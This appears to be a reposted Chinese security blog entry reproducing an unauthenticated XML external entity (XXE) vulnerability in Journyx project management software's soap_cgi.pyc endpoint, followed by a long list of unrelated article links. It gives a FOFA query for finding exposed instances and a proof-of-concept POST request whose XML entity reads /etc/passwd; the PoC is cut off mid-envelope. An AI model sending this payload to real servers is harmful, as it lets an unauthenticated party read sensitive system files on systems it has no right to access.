当前位置： 首页 > news >正文

Journyx项目管理软件 soap_cgi.pyc XXE漏洞复现

news 来源：原创 2024/9/20 21:42:40

0x01 产品简介

Journyx-Journyx成立于1996年，提供自托管项目管理解决方案ProjectXecute。主要功能包括资源跟踪、待办事项列表、任务分配以及与MS Project的集成。要运行ProjectXecute，需要Windows 2003或更高版本、IIS Web服务器和Intel处理器。也可以在Linux、Solaris、AIS和FreeBSD操作系统上运行此软件。

0x02 漏洞概述

Journyx项目管理软件 soap_cgi.pyc 接口存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。

0x03 复现环境

FOFA：body="Journyx"

0x04 漏洞复现

PoC

POST /jtcgi/soap_cgi.pyc HTTP/1.1
Host: 
User-Agent:Mozilla/5.0 (WindowsNT10.0;Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko)Chrome/96.0.4664.93Safari/537.36
Content-Type: application/xml<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/

相关文章：

  • 北京网站建设多少钱？
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【限流与Sentinel超详细分析】
  • 4.8.双向循环神经网络
  • 【C++综合项目】——基于Boost库的搜索引擎（手把手讲解，小白一看就会！！）
  • 前端web开发HTML+CSS3+移动web（0基础,超详细）——第4天
  • priority_queue模拟实现【C++】
  • FFmpeg源码：av_realloc、av_reallocp、size_mult、av_realloc_f函数分析
  • Springboot 开发之 Quartz 任务调度框架简介
  • 自定义View-- wifi强度
  • 从0开始搭建vue + flask 旅游景点数据分析系统（ 六）：搭建后端flask框架
  • Win32注册表操作
  • Rust 所有权
  • 大数据-Big Data（一）：概述与基础
  • Tracecat：开源 SOAR
  • Transformer 模型中的 QKV 机制是如何运作的
  • 区块链平台的图灵完备性
  • JS中 map, filter, some, every, forEach, for in, for of 用法总结
  • 《Java8实战》-第四章读书笔记（引入流Stream）
  • 「前端」从UglifyJSPlugin强制开启css压缩探究webpack插件运行机制
  • express如何解决request entity too large问题
  • gops —— Go 程序诊断分析工具
  • iOS编译提示和导航提示
  • RxJS: 简单入门
  • Wamp集成环境 添加PHP的新版本
  • Zepto.js源码学习之二
  • Zsh 开发指南（第十四篇 文件读写）
  • 从零搭建Koa2 Server
  • 简单易用的leetcode开发测试工具（npm）
  • 开源中国专访：Chameleon原理首发，其它跨多端统一框架都是假的？
  • 盘点那些不知名却常用的 Git 操作
  • 如何设计一个微型分布式架构？
  • 如何学习JavaEE,项目又该如何做？
  • 想晋级高级工程师只知道表面是不够的！Git内部原理介绍
  • LevelDB 入门 —— 全面了解 LevelDB 的功能特性
  • 仓管云——企业云erp功能有哪些？
  • 你学不懂C语言，是因为不懂编写C程序的7个步骤 ...
  • ​​​​​​​ubuntu16.04 fastreid训练过程
  • ​TypeScript都不会用，也敢说会前端？
  • ​草莓熊python turtle绘图代码（玫瑰花版）附源代码
  • ​人工智能之父图灵诞辰纪念日，一起来看最受读者欢迎的AI技术好书
  • # 手柄编程_北通阿修罗3动手评：一款兼具功能、操控性的电竞手柄
  • #Linux（权限管理）
  • #Spring-boot高级
  • （12）目标检测_SSD基于pytorch搭建代码
  • （2）nginx 安装、启停
  • （3）选择元素——（14）接触DOM元素（Accessing DOM elements）
  • (70min)字节暑假实习二面（已挂）
  • （C语言）共用体union的用法举例
  • （附程序）AD采集中的10种经典软件滤波程序优缺点分析
  • (附源码)计算机毕业设计ssm本地美食推荐平台
  • （论文阅读26/100）Weakly-supervised learning with convolutional neural networks
  • （三）Pytorch快速搭建卷积神经网络模型实现手写数字识别(代码+详细注解)
  • （已更新）关于Visual Studio 2019安装时VS installer无法下载文件，进度条为0，显示网络有问题的解决办法
  • （转）http-server应用
  • . Flume面试题
  • .bat批处理（二）：%0 %1——给批处理脚本传递参数